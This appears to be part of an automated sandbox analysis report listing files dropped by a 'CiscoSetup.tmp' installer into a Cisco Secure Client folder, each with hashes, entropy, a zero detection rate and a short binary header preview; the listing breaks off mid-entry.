SSDEEP:	98304:+QCnFew3oMj8NiqvOE41lDJO2Gi3VjGClUjtbnaC:+TeOLECDJrpVSZbL
MD5:	03615EEF106C5E54C5279B05A9686B9A
SHA1:	621C9AB49367298751EAAB0E0A29575327041729
SHA-256:	7B6826DD31DB6E559BBF873DE756292B22B910F319C6C4B09D7A62A5312A4AC3
SHA-512:	BFB2ADE2B66B7CCD3E1CB9FCFAD2AF8D35BD12E063ECC1D388958C5A66776CC865CDD25B72B3786011C388C9A3FF730DAF5F97D58923829DA9DBC76AD393FCE8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........d..............n.......n..q....jf......p.......p.......p.......n.......l...............p..Q....n..........p...\|p..s...\|pd.............\|p......Rich....................PE..L......d..................)...................)...@..........................`D......YD...@...................................8.T.....:.X.............C.hH... B..6..0.6.T.....................6.......6.@.............)..............................text.....).......)................. ..`.rdata..fd....)..f....).............@..@.data.........9.......8.............@....rsrc...X.....:.. ....9.............@..@.reloc...6... B..8....A.............@..B................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-UP6H5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	267656
Entropy (8bit):	6.547035182798101
Encrypted:	false
SSDEEP:	3072:+9WZ4GcvxHdmJOHpxyBIBaQ0I/Quljl1mn48MHnlwgSmiSb:+VFTmJO/BH0IYuljK48ZgS0
MD5:	2FB4C4168E379F13B15D4E299ECF3429
SHA1:	4C6702254054F288BEB49ADCDD6317575E83374D
SHA-256:	8CD7BE490AD502C9980CB47C9A7162AFCCC088D9A2159D3BBBCED23A9BCBDA7F
SHA-512:	8BC80A720CDC38D58AB742D19317FBE7C36CFB0261BB9B3D5F3B366459B2801B95F8E71FB24D85B79F2C2BC43E7EB135DAB0B81953C7007A5C01494C9F584208
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Hb.:...i...i...i.{.i...i^v.h...i^v.h...i^v.h...i^v.h...i.s.h...i...i...i^v.h...i^v.h...i^v.i...i^v.h...iRich...i................PE..L....~.a.........."!.........................0............................... ......Gp....@A........................@....=...............................#......TX..\J..8............................J..@............................................text...[........................... ..`.data....o...0...l..................@....idata..............................@..@.rsrc...............................@..@.reloc..TX.......Z..................@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\msvcp140.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	436600
Entropy (8bit):	6.647435576141042
Encrypted:	false
SSDEEP:	12288:/gO0BGzePo6+J+4P0xYv7IQgnhUgiW6QR7t5s03Ooc8dHkC2esKcWKe0:701Po6+J+dxYv7IQgk03Ooc8dHkC2ezc
MD5:	8FF1898897F3F4391803C7253366A87B
SHA1:	9BDBEED8F75A892B6B630EF9E634667F4C620FA0
SHA-256:	51398691FEEF7AE0A876B523AEC47C4A06D9A1EE62F1A0AEE27DE6D6191C68AD
SHA-512:	CB071AD55BEAA541B5BAF1F7D5E145F2C26FBEE53E535E8C31B8F2B8DF4BF7723F7BEF214B670B2C3DE57A4A75711DD204A940A2158939AD72F551E32DA7AB03
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p.. 4.os4.os4.os..nr6.os=..s".os4.ns..osf.nr7.osf.kr?.osf.lr<.osf.jr..osf.or5.osf.s5.osf.mr5.osRich4.os........................PE..L...>\|.a.........."!.........~...............0............................................@A.........................T......<c..........................x#.......6...W..8............................W..@............`..8............................text...b........................... ..`.data...L(...0......................@....idata.......`.......2..............@..@.rsrc................J..............@..@.reloc...6.......8...N..............@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\msvcp140_1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	21384
Entropy (8bit):	6.470094803230791
Encrypted:	false
SSDEEP:	384:Y32E5mpdhYQjHy3d5Wcs5gWI3KLHRN7QiUJ/AlGstm4s:YmxQSyUyAQX/xEv
MD5:	C946A9E4170F6B16D25C822DA616DC6A
SHA1:	F602D23DB756F9C3A058D3B7186D24480E05790F
SHA-256:	65BDADB5562B9473471740B1DCD8B064459A40D71A1A11FC5AEDAA855FE7635A
SHA-512:	916CAD8B1E38B2B15AB836844C5CC9D36B212831B2F553198054FE9CB5CD77AECD544CAC8040000337CEFDA9B15BF95E8903F36A9C1BEB7D579CFFF670445617
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......(D.vl%.%l%.%l%.%.U.$n%.%e]/%h%.%>P.$f%.%>P.$m%.%l%.%D%.%>P.$i%.%>P.$x%.%>P.$m%.%>PC%m%.%>P.$m%.%Richl%.%........................PE..L...J\|.a.........."!.........................0...............................p......#,....@A.........................*..J....@..x....P...............0...#...`..t...X...8...............................@............@...............................text...J........................... ..`.data...8....0....... ..............@....idata.......@......."..............@..@.rsrc........P.......(..............@..@.reloc..t....`.......,..............@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\msvcp140_2.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	166264
Entropy (8bit):	6.800892494270331
Encrypted:	false
SSDEEP:	3072:UZqJu0h1iCPZYtIzss2wizpHB7RoSxvQ02bnt56CY2G1zVSdqXCvjC:UZqU0hStIzrQqht567ZSY+jC
MD5:	06DEEA1786C951D3CC7E24A3E714FF03
SHA1:	9906803CEDB8600C5E201AE080155BEEBD2902B2
SHA-256:	EAC4C95CD7B013E110F2CF28C08342126FE1658EF16010541F05B234D23272DD
SHA-512:	28CAA59DEEC92E417468BB0244DA2E60FAF6482EF608258E99FA47F59D3CD0EDEE69155E913034AC7B5E1AFC88DBF8F6F97058B75F0CBC6E4C045E1EE6EAADA0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%>..a_a.a_a.a_a../`.c_a.h'.m_a.3e.j_a.3b.c_a.a_`.._a.3`.d_a.3d.r_a.3a.`_a.3..`_a.3c.`_a.Richa_a.................PE..L...J\|.a.........."!........<......0........@......................................:.....@A.........................3..@....Q.......`...............f..x#...p..X....\..8............................\..@............P...............................text....).......*.................. ..`.data...(....@......................@....idata..`....P.......6..............@..@.rsrc........`.......D..............@..@.reloc..X....p.......H..............@..B................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\vccorlib140.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	267656
Entropy (8bit):	6.547035182798101
Encrypted:	false
SSDEEP:	3072:+9WZ4GcvxHdmJOHpxyBIBaQ0I/Quljl1mn48MHnlwgSmiSb:+VFTmJO/BH0IYuljK48ZgS0
MD5:	2FB4C4168E379F13B15D4E299ECF3429
SHA1:	4C6702254054F288BEB49ADCDD6317575E83374D
SHA-256:	8CD7BE490AD502C9980CB47C9A7162AFCCC088D9A2159D3BBBCED23A9BCBDA7F
SHA-512:	8BC80A720CDC38D58AB742D19317FBE7C36CFB0261BB9B3D5F3B366459B2801B95F8E71FB24D85B79F2C2BC43E7EB135DAB0B81953C7007A5C01494C9F584208
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Hb.:...i...i...i.{.i...i^v.h...i^v.h...i^v.h...i^v.h...i.s.h...i...i...i^v.h...i^v.h...i^v.i...i^v.h...iRich...i................PE..L....~.a.........."!.........................0............................... ......Gp....@A........................@....=...............................#......TX..\J..8............................J..@............................................text...[........................... ..`.data....o...0...l..................@....idata..............................@..@.rsrc...............................@..@.reloc..TX.......Z..................@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\vcruntime140.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	76168
Entropy (8bit):	6.765544990184352
Encrypted:	false
SSDEEP:	1536:zHHuqvERNjBwySXtVaSvrgOFw9RxKMn5ecbCKnIY7:zHHZMRNjKySdLcOiH5ecbCKnN
MD5:	1A84957B6E681FCA057160CD04E26B27
SHA1:	8D7E4C98D1EC858DB26A3540BAAAA9BBF96B5BFE
SHA-256:	9FAEAA45E8CC986AF56F28350B38238B03C01C355E9564B849604B8D690919C5
SHA-512:	5F54C9E87F2510C56F3CF2CEEB5B5AD7711ABD9F85A1FF84E74DD82D15181505E7E5428EAE6FF823F1190964EB0A82A569273A4562EC4131CECFA00A9D0D02AA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................{.........i.............................................................Rich....................PE..L...>\|.a.........."!.........................................................@......{.....@A......................................... ...................#...0.......#..8............................#..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnagent.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1224808
Entropy (8bit):	6.594618609606493
Encrypted:	false
SSDEEP:	24576:lmwdP48+4TrmxqxHK1Kl7VWGPq7XbRh9F:Hm+hlB5PWRh9F
MD5:	2B773B8A1509ACDCCE63BBE24AD6020A
SHA1:	D47D47514E2B68952886FD1CBC99BF397C1A08FC
SHA-256:	2A20046DC84FC6D3D75D2E9C8AD761175739CB2E0D372CF22172C86F109620B4
SHA-512:	62C2EA22994C6CCBB2C11D044053A2DC0E687C04477DCA0DD48787FB544EF2C780A1AA31455AE47D033533E0D81B5FC1C9FF715C62BA1D51D1893322280F5B8C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......u...1...1...1...8.].!......5...c...=...c...8...c.......c...5......9...%...0...%...4...d...5...%... ...1...m...........1.0...1.Y.0......0...Rich1...........................PE..L...(..d.....................<...............@....@.................................S.....@.............................................h............h..hH..............T........................... ...@............@...............................text...J,.......................... ..`.rdata...!...@..."...2..............@..@.data...\1...p...,...T..............@....rsrc...h...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnagentutilities.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1035368
Entropy (8bit):	6.730008187623686
Encrypted:	false
SSDEEP:	12288:zx1d5ucCv/+XrPAQ/gL+EIK6bs6l7HNLM8RL45fvfmY3YrA0RFZa:z5iH+T/9y6I69HNLM8d45ZYrtRLa
MD5:	1987D72B9C16314FC1BDEC8315AA31B4
SHA1:	55BA31FA638F3EF505D450DAAFF5F2E6EFBB59A9
SHA-256:	CABF64B736A3217E51FE4F49DC164C2CB5218D03F05AE4B932C7D362AB5A2CFD
SHA-512:	417993511DFCACD266D459ED0B7204327D6B488F9A338C06090D81036D9B1A3D24F87E2251447F74CA655F5E234D57DF0685C45458FFDB47EB246B6E2E2E9692
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........\|..\|...\|...\|.......\|.......\|.......\|.......\|.......\|..$....\|.......\|.......\|.......\|.......\|...\|......$....\|..$....\|..$...\|...\|...\|..$....\|..Rich.\|..........PE..L...M..d...........!.................G....................................................@A............................\T..............................hH..............T...........................@...@............................................text...,........................... ..`.rdata..............................@..@.data....3.......0..................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnapi.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1657960
Entropy (8bit):	6.613955270280212
Encrypted:	false
SSDEEP:	24576:NEFJgRL9dvWmJhDQLTE/SBL2M9MvGOBU+X3OKxfO3XqWjgVIOJCTR:aYRLPHhD/G2M9Mtv3OKxGBjgVIOJCTR
MD5:	EB82DFAB501EA2CE256AABDF7EFA443F
SHA1:	1656FC8BE6B149399EF99EFBDF859E2BC6657525
SHA-256:	A9627BE9ABED41D166C8AAC6E77BF33DCCB97A03D5ED80E30D389CFDD146D608
SHA-512:	F9979AF7B289635ABE58DB8D30E5594362AEAB86C34C4825ED8A10DEAE28F63F7EAD6D042B7D65A246A7A444E8E06A15D679ABE34FC313F3BCE70A621F0A154C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................8...........!..L.!This program cannot be run in DOS mode....$.......oE.+$..+$..+$.."\'.9$..MKI.)$..yQ..!$..yQ...$..yQ../$..yQ..4$...Q../$..?O../$..M..)$..~Q../$..?O..:$..+$..1!...Q..o$...Q..$...QK.$..+$#.$...Q..$..Rich+$..........................PE..L......d...........!.........................@...............................@............@A.........................\|..@...@l.......P..X...............hH.......:......T...................@.......`...@............@..d............................text...z........................... ..`.orpc...J....0...................... ..`.rdata...y...@...z... ..............@..@.data...............................@....rsrc...X....P......................@..@.reloc...:.......<..................@..B........................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnapishim.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	359016
Entropy (8bit):	6.617093568333673
Encrypted:	false
SSDEEP:	6144:qSg72Vz/I7DPaCd+syv/RDdb4UP1LdmBIuITM2CswQuY5LpwUm:qSg6VzWPaXsyv5NLdfn7Rm
MD5:	44DE330562CC79CCF0D73FA8B99D369C
SHA1:	B0256E51EC29F6E42A24FA12F23086E5CAC0B8D1
SHA-256:	53C2E4F4D092C14F418D619DCADBFA0A6ED589492844C2AB2EEE504061600429
SHA-512:	CE8439B558DF0E14B1DBEFD9D34DD089F3FDDA90B9409446228B6F47C5F68A75020C8822790ABF43E75EC8598AD35354877F169E58A775EE19E17693136D8634
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................=...........................................V.................Q.....9..........Rich...........PE..L......d...........!................@X.......................................p......Z<....@A.........................`..\...\a.......................2..hH......,W......T...............................@............................................text.............................. ..`.rdata..............................@..@.data....-.......*..................@....rsrc...............................@..@.reloc..,W.......X..................@..B................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\vpncli.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	145512
Entropy (8bit):	6.622600549799495
Encrypted:	false
SSDEEP:	1536:2lE8KKdwsPSfyPQ2TbpoEcRj+SOXzPsdGTE55vt67Ktb1sK8W77tHbloNeITqx/4:2q82KP9TbpoEI+Ew7Ktb1sKXblmeIkO
MD5:	E6FF7D48757F7470A8861AC3B3E159E6
SHA1:	3B2ED33F1025FB320D3C7D5699A941D94BBDC222
SHA-256:	74D0A04DED5E21F85BF32274823894AA5ACB9DDABE3D845F896E47521DEC2FE6
SHA-512:	312D1EDA0FAA80EC22AAD2CB660D611C1EE0207DCE84AB3A318B89CC7229993C518DDCE8B72D55A10FD85E392665394FAFEC6A320EFA84213A02360B49F8B1E1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......i...-...-...-...$.}.=.......!.......).......).......1.......)...9...(...-...H...............,...-.y.,.......,...Rich-...........PE..L......d............................ ........0....@..........................@.......d....@.................................0...,.......................hH... .......c..T...................@e......Pd..@............0...............................text............................... ..`.rdata......0......................@..@.data... +..........................@....rsrc...............................@..@.reloc....... ......................@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\vpncommon.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2392680
Entropy (8bit):	6.658300142387931
Encrypted:	false
SSDEEP:	49152:dFtYsvJwGcAhLrE0o5r+1mP/4qkxhDzMkfUg8Ul6:dFTNrEvmDzMkfP85
MD5:	208BC604DF1E3C9FF524C9AD9066E552
SHA1:	DC76F03E1A6851A8610FCA6A73EFCA567ADA84CB
SHA-256:	025635A4E805DA1241F752FE664C766B745C7F70DE070DC4AC87875D249150C5
SHA-512:	4A95407898D6EA16ED96208B9B94825091CA9E554A278654D71009AE04C695FEF3745BA3FF2DFFD5FF1C76DC62C58522300F0FD903F52F0A3E4F68DA5CE23892
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......t..0...0...0...9.w.$.......8...b...4...b...:...b...9...$...2.......2...b...,...e...4...$...-...0.......$...1..............1.......1...0.s.1.......1...Rich0...........PE..L.....d...........!.........d................................................$.......$...@A........................pm..D1....!......."..B...........:$.hH...."......D..T...................@E......`D..@............................................text...Z........................... ..`.rdata..............................@..@.data.........!.......!.............@....rsrc....B...."..D...n".............@..@.reloc........".......".............@..B................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\vpncommoncrypt.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	525928
Entropy (8bit):	6.663689707982956
Encrypted:	false
SSDEEP:	6144:8zNdH+68U6BXsQex0xCC5pQEhRL/21VVirhVVVPlLIOqyRcCGlhl48MBAuh:WNxQBXsQ0K5pXPLeriPlLIOqpdvlo
MD5:	4CE708F0420389B058B7F2D74561A2C3
SHA1:	9ABCCDEB744DFFD374DF72117CC47C7D18EEF506
SHA-256:	382B6CD7055A36DECCAD2839EC47BFD49B1C4077EE5DFC9CB07C829A4CAAABBE
SHA-512:	53A0BC22C6772CB46DBB1CBE6BE2079AB620845CD0CB49FB4AFE7D8DC861D38351A4CE7226ADCCE70180F65AB112701F55F91AA438B018D6C370A4244FB943ED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............f]..f]..f]...]..f]..]..f].b\..f].e\..f].g\..f].c\..f]p.g\..f].g\..f]..g\..f]..g]~.f]p.o\..f]p.f\..f]p..]..f]...]..f]p.d\..f]Rich..f]................PE..L......d...........!.........@......................................................N.....@A............................0............@...B..............hH......._...u..T...................@v......`u..@............................................text............................... ..`.rdata..............................@..@.data........ ......................@....rsrc....B...@...D..................@..@.reloc..._.......`...^..............@..B........................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\vpndownloader.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4467816
Entropy (8bit):	6.598146073323608
Encrypted:	false
SSDEEP:	98304:+QCnFew3oMj8NiqvOE41lDJO2Gi3VjGClUjtbnaC:+TeOLECDJrpVSZbL
MD5:	03615EEF106C5E54C5279B05A9686B9A
SHA1:	621C9AB49367298751EAAB0E0A29575327041729
SHA-256:	7B6826DD31DB6E559BBF873DE756292B22B910F319C6C4B09D7A62A5312A4AC3
SHA-512:	BFB2ADE2B66B7CCD3E1CB9FCFAD2AF8D35BD12E063ECC1D388958C5A66776CC865CDD25B72B3786011C388C9A3FF730DAF5F97D58923829DA9DBC76AD393FCE8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........d..............n.......n..q....jf......p.......p.......p.......n.......l...............p..Q....n..........p...\|p..s...\|pd.............\|p......Rich....................PE..L......d..................)...................)...@..........................`D......YD...@...................................8.T.....:.X.............C.hH... B..6..0.6.T.....................6.......6.@.............)..............................text.....).......)................. ..`.rdata..fd....)..f....).............@..@.data.........9.......8.............@....rsrc...X.....:.. ....9.............@..@.reloc...6... B..8....A.............@..B................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnipsec.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	660072
Entropy (8bit):	6.659866758160457
Encrypted:	false
SSDEEP:	6144:kSCossJt+kPCULOLT5xylm6hSCX+JGvP755x+RpUG1m3A0KmklXz0OH9IYW4U+1M:kbAJDOLT5po+kPARgA0KmuXz0OH9H3Ov
MD5:	5E4035EF3C0EEC7E49035F5DCD6054FF
SHA1:	633A4E83FF976CF041B65B7B6B1B54C697DAB0F5
SHA-256:	31F4F3D3A3F1E1761417FD9792B4151CD8C2724F2B83AD2C51C3E9A0D4D19BE4
SHA-512:	A0BA4A69A7D0EEDACC1F25361A69CA7D73CFC893632C1033858ED08BA2DEEED00592972BCB1FF6D075AFE5E8B64291F47A3E0FF6346CC3228A6C989DF10D857E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......Rj...............sQ.....D~......D~......D~......D~.......~......b..<....`......C~..............~..-....~.......~=.......U......~......Rich....................PE..L......d...........!......................................................................@A............................<...,...T....p..................hH......L{...z..T...................@\|......H{..@...............0............................text............................... ..`.rdata...K.......L..................@..@.data...@....P.......<..............@....rsrc........p.......F..............@..@.reloc..L{.......\|...N..............@..B........................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnmgmttun.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	96872
Entropy (8bit):	6.7074578724573355
Encrypted:	false
SSDEEP:	1536:khfMwC52VJJ1NkaqH1d+VvzNRqubyXCsMAvJxMnYTxB:wfRVJJ1NkaqHP+fRqpXCsMAvIy
MD5:	4A99D4199F25191F921F0EA08948FAED
SHA1:	C1EEDF728A46CCD4FE0897FAAC3B859941AAB81D
SHA-256:	3F78B54296FF87AEF6F0FCAC9DDFF1AD93A336AC4336D2C43CD57BEEA0E22065
SHA-512:	85753CE8051EFCB5F278A722CC34F1362EF0DA1AEE494D455EC8EDEF09FE81591A3D6EFF19D623C5B743E3CAE887DC5786805EBA527333CDAFC078A0A4291335
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......E....{..{..{...~..{.S...{.S...{.S...{.S...{.....{.....{..{.{.....{......{..{z..{.....{.Rich.{.................PE..L.....d.....................\|......p.............@..........................`......il....@..........................................@...............2..hH...P......8...T...............................@............................................text.............................. ..`.rdata...R.......T..................@..@.data...D....0......................@....rsrc........@......................@..@.reloc.......P......."..............@..B................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnva-6.cat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	data
Category:	dropped
Size (bytes):	10484
Entropy (8bit):	7.081965462144553
Encrypted:	false
SSDEEP:	192:Xr1RLG32vJCEvyyKwnsFWQFl2j21EhqnajKs8E:lvrnsFR72qslGs8E
MD5:	38B464383C531FF40AD2538CF4442C25
SHA1:	899E6C26E8362C3811189977640D5B625B566CD9
SHA-256:	C130160691DA77B3AFD58E642A09439709C6B60729E6CFB06EE687A02B7E2A68
SHA-512:	407AD6D59035AC10A6CBEB368F72772A6CDBB889934BA4097046BD489CA5E36D4374E5C6655485AB28419D0EB45587C664E65113589E6131FB208D7ABDB4F885
Malicious:	false
Preview:	0.(....H........(.0.(....1.0...`.H.e......0.....+.....7......0...0...+.....7......>.O.>I.......f..220217132307Z0...+.....7.....0...0....R4.4.2.B.1.1.8.F.3.7.D.A.5.5.C.9.2.3.A.D.2.E.4.9.7.C.F.2.B.2.6.E.2.9.5.0.2.F.4.D...1..A0>..+.....7...100....F.i.l.e........v.p.n.v.a.6.4.-.6...s.y.s...0L..+.....7...1>0<...O.S.A.t.t.r.......&2.:.6...1.,.2.:.6...3.,.2.:.1.0...0...0M..+.....7...1?0=0...+.....7...0...........0!0...+........D+..7.U.#..I\|.n)P/M0b..+.....7...1T0R.L.{.C.6.8.9.A.A.B.8.-.8.E.7.8.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}....0....R8.4.B.B.1.C.E.C.D.D.3.8.F.D.2.0.3.D.2.E.E.9.6.9.1.9.0.2.C.3.F.C.C.B.D.E.D.3.6.6...1..50:..+.....7...1,0...F.i.l.e........v.p.n.v.a.-.6...i.n.f...0E..+.....7...17050...+.....7.......0!0...+.............8. =..i.......f0L..+.....7...1>0<...O.S.A.t.t.r.......&2.:.6...1.,.2.:.6...3.,.2.:.1.0...0...0b..+.....7...1T0R.L.{.D.E.3.5.1.A.4.2.-.8.E.5.9.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}....0....RB.B.A.C.C.3.7.6.5.1.5.D.4.1.0.F.C.4.9.7.C.A.B.1

C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnva-6.inf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	3233
Entropy (8bit):	5.341509881686345
Encrypted:	false
SSDEEP:	96:wYNZ3JpdhH+0dhH2EnEqZUmogaRvmL3dZMdr:wYH3JpdhH+0dhH/EqZUmoP+dZMdr
MD5:	0187FF566D704C12A49E4FBCE5E00C45
SHA1:	84BB1CECDD38FD203D2EE9691902C3FCCBDED366
SHA-256:	9EFBDCAD9BCD5A9B81AEA9B4643AD13799844117D8F41AA86882F808603037A2
SHA-512:	5C69EED3D00807A5ED8CB17981B23B50A4152E9044883DBB875011709C359CED146A83F740F0158E05C9C7ECE9AC52F5F9B15DE6128EE352A2424A7639708426
Malicious:	false
Preview:	; vpnva-6.inf..;..; Cisco AnyConnect Virtual Miniport Adapter for Windows Setup File..;..; (c) Copyright 2004-2021 Cisco Systems, Inc.....[version]..Signature = "$Windows NT$"..Class = Net..ClassGUID = {4d36e972-e325-11ce-bfc1-08002be10318}..Provider = %Cisco%..CatalogFile = vpnva-6.cat..DriverVer = 12/14/2021,4.10.05040.0....[Manufacturer]..%CISCO%..= Cisco, NTamd64....[ControlFlags]..ExcludeFromSelect = ....[Cisco]..%vpnva.DeviceDesc% = Cisco.ndi.NTx86, vpnva....[Cisco.NTamd64]..%vpnva.DeviceDesc64% = Cisco.ndi.NTamd64, vpnva....[Cisco.ndi.NTx86]..Characteristics = 0x01 ; NCF_VIRTUAL..;BusType not required because this is not NCF_PHYSICAL..IfType = 6 ; IF_TYPE_ETHERNET_CSMACD..MediaType = 0 ; NdisMedium802_3..PhysicalMediaType = 0 ; NdisPhysicalMediumUnspecified..AddReg...= Cisco.reg..CopyFiles..= Cisco.CopyFiles....[Cisco.ndi.NTamd64]..Characteristics = 0x01 ; NCF_VIRTUAL..;BusType not required because this is not NC

C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnva64-6.sys (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	54176
Entropy (8bit):	6.343089804418659
Encrypted:	false
SSDEEP:	1536:/eDOHgIUkjxLqAW2ltHbfvFSzNhQxVBqv5jJwPB2M:2KHgIUkjxLqAW2l5vFSzNiqv51m
MD5:	98B8845F3554BAD1329541D54EADD3F0
SHA1:	FDB21CC76F860AB39D265A01846C81A707078BBB
